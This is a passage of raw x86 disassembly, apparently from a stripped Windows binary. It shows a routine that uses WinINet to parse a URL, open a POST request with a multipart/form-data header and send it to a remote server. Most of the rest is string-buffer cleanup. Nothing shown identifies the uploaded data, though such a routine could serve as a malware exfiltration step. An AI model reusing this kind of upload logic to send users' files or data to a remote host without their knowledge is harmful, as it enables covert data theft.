mov dword [ebp - 0x37c], eax
add esp, 0xc
lea eax, [ebp - 0x218]
mov dword [ebp - 0x35c], 0x100
mov dword [ebp - 0x360], eax
mov eax, dword [ebp - 0x3a4]
cmp dword [eax + 0x14], 0xf
jbe 0x406120
mov eax, dword [eax]
lea ecx, [ebp - 0x38c]
push ecx
push 0
push 0
push eax
call dword [sym.imp.WININET.dll_InternetCrackUrlA]
mov edi, dword [sym.imp.WININET.dll_InternetCloseHandle]
test eax, eax
je 0x40633f
push 0
push 0
push 3
push 0
push 0
push dword [ebp - 0x374]
lea eax, [ebp - 0x118]
push eax
push esi
call dword [sym.imp.WININET.dll_InternetConnectA]
mov dword [ebp - 0x3a0], eax
test eax, eax
je 0x40633f
push 0
push 0x84800000
push 0
push 0
push 0
lea ecx, [ebp - 0x218]
push ecx
push str.POST
push eax
call dword [sym.imp.WININET.dll_HttpOpenRequestA]
mov esi, eax
test esi, esi
je 0x406331
lea eax, [ebp - 0x290]
mov edx, str.Content_Type:_multipart_form_data__boundary
push eax
lea ecx, [ebp - 0x570]
call fcn.0040c920
add esp, 4
mov ecx, eax
mov byte [ebp - 4], 0x31
mov eax, dword [ecx + 0x14]
mov edx, dword [ecx + 0x10]
sub eax, edx
cmp eax, 2
jb 0x4061e9
cmp dword [ecx + 0x14], 0xf
lea eax, [edx + 2]
mov dword [ecx + 0x10], eax
mov eax, ecx
jbe 0x4061d3
mov eax, dword [ecx]
mov edi, 0xa0d
mov word [eax + edx], di
mov edi, dword [sym.imp.WININET.dll_InternetCloseHandle]
mov byte [eax + edx + 2], 0
jmp 0x4061ff
push 2
push 0x4189b8
push dword [ebp - 0x390]
push 2
call fcn.0040e280
mov ecx, eax
mov dword [ebp - 0x268], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x278], xmm0
mov dword [ebp - 0x264], 0
movups xmm0, xmmword [ecx]
movups xmmword [ebp - 0x278], xmm0
movq xmm0, qword [ecx + 0x10]
movq qword [ebp - 0x268], xmm0
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0xf
mov byte [ecx], 0
mov ecx, dword [ebp - 0x55c]
cmp ecx, 0xf
jbe 0x406281
mov edx, dword [ebp - 0x570]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x406277
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x406277
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.004153ea
add esp, 8
cmp dword [ebp - 0x21c], 0xf
lea ecx, [ebp - 0x230]
push dword [ebp - 0x220]
cmova ecx, dword [ebp - 0x230]
lea eax, [ebp - 0x278]
cmp dword [ebp - 0x264], 0xf
push ecx
push dword [ebp - 0x268]
cmova eax, dword [ebp - 0x278]
push eax
push esi
call dword [sym.imp.WININET.dll_HttpSendRequestA]
test eax, eax
je 0x4062f2
push 0
lea eax, [ebp - 0x260]
mov dword [ebp - 0x240], 0
push eax
lea eax, [ebp - 0x240]
mov dword [ebp - 0x260], 4
push eax
push 0x20000013
push esi
call dword [sym.imp.WININET.dll_HttpQueryInfoA]
push esi
call edi
mov ecx, dword [ebp - 0x264]
cmp ecx, 0xf
jbe 0x406331
mov edx, dword [ebp - 0x278]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x406327
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x406327
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.004153ea
add esp, 8
push dword [ebp - 0x3a0]
call edi
mov esi, dword [ebp - 0x39c]
push esi
call edi
mov ecx, dword [ebp - 0x23c]
test ecx, ecx
je 0x40639a
mov edx, dword [ebp - 0x234]
mov eax, ecx
sub edx, ecx
cmp edx, 0x1000
jb 0x406372
mov ecx, dword [eax - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4066ec
push edx
push ecx
call fcn.004153ea
add esp, 8
mov dword [ebp - 0x23c], 0
mov dword [ebp - 0x238], 0
mov dword [ebp - 0x234], 0
mov ecx, dword [ebp - 0x248]
cmp ecx, 7
jbe 0x4063da
mov edx, dword [ebp - 0x25c]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x4063d0
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4066ec
push ecx
push edx
call fcn.004153ea
add esp, 8
mov ecx, dword [ebp - 0x324]
xor eax, eax
mov dword [ebp - 0x24c], 0
mov dword [ebp - 0x248], 7
mov word [ebp - 0x25c], ax
cmp ecx, 7
jbe 0x406437
mov edx, dword [ebp - 0x338]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x40642d
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4066ec
push ecx
push edx
call fcn.004153ea
add esp, 8
mov ecx, dword [ebp - 0x21c]
cmp ecx, 0xf
jbe 0x406471
mov edx, dword [ebp - 0x230]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x406467
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4066ec
push ecx
push edx
call fcn.004153ea
add esp, 8
mov ecx, dword [ebp - 0x27c]
mov dword [ebp - 0x220], 0
mov dword [ebp - 0x21c], 0xf
mov byte [ebp - 0x230], 0
cmp ecx, 0xf
jbe 0x4064c6
mov edx, dword [ebp - 0x290]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4064bc
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4066ec
push ecx
push edx
call fcn.004153ea
add esp, 8
mov ecx, dword [ebp - 0x294]
cmp ecx, 0xf
jbe 0x406500
mov edx, dword [ebp - 0x2a8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4064f6
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4066ec
push ecx
push edx
call fcn.004153ea
add esp, 8
mov ecx, dword [ebp - 0x2ac]
mov dword [ebp - 0x298], 0
mov dword [ebp - 0x294], 0xf
mov byte [ebp - 0x2a8], 0
cmp ecx, 0xf
jbe 0x406555
mov edx, dword [ebp - 0x2c0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40654b
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4066ec
push ecx
push edx
call fcn.004153ea
add esp, 8
mov ecx, dword [ebp - 0x2c4]
mov dword [ebp - 0x2b0], 0
mov dword [ebp - 0x2ac], 0xf
mov byte [ebp - 0x2c0], 0
cmp ecx, 0xf
jbe 0x4065aa
mov edx, dword [ebp - 0x2d8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4065a0
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4066ec
push ecx
push edx
call fcn.004153ea
add esp, 8
mov ecx, dword [ebp - 0x2dc]
mov dword [ebp - 0x2c8], 0
mov dword [ebp - 0x2c4], 0xf
mov byte [ebp - 0x2d8], 0
cmp ecx, 0xf
jbe 0x4065ff
mov edx, dword [ebp - 0x2f0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4065f5
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4066ec
push ecx
push edx
call fcn.004153ea
add esp, 8
mov ecx, dword [ebp - 0x2f4]
mov dword [ebp - 0x2e0], 0
mov dword [ebp - 0x2dc], 0xf
mov byte [ebp - 0x2f0], 0
cmp ecx, 0xf
jbe 0x406654
mov edx, dword [ebp - 0x308]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40664a
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4066ec
push ecx
push edx
call fcn.004153ea
add esp, 8
mov ecx, dword [ebp - 0x30c]
mov dword [ebp - 0x2f8], 0
mov dword [ebp - 0x2f4], 0xf
mov byte [ebp - 0x308], 0
cmp ecx, 0xf
jbe 0x4066a5
mov edx, dword [ebp - 0x320]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40669b
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4066ec
push ecx
push edx
call fcn.004153ea
add esp, 8
mov ecx, dword [ebp - 0x33c]
mov dword [ebp - 0x310], 0
mov dword [ebp - 0x30c], 0xf
mov byte [ebp - 0x320], 0
cmp ecx, 0xf
jbe 0x4066fc
mov edx, dword [ebp - 0x350]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4066f2
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x4066f2
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.004153ea
add esp, 8
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.004153a7
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret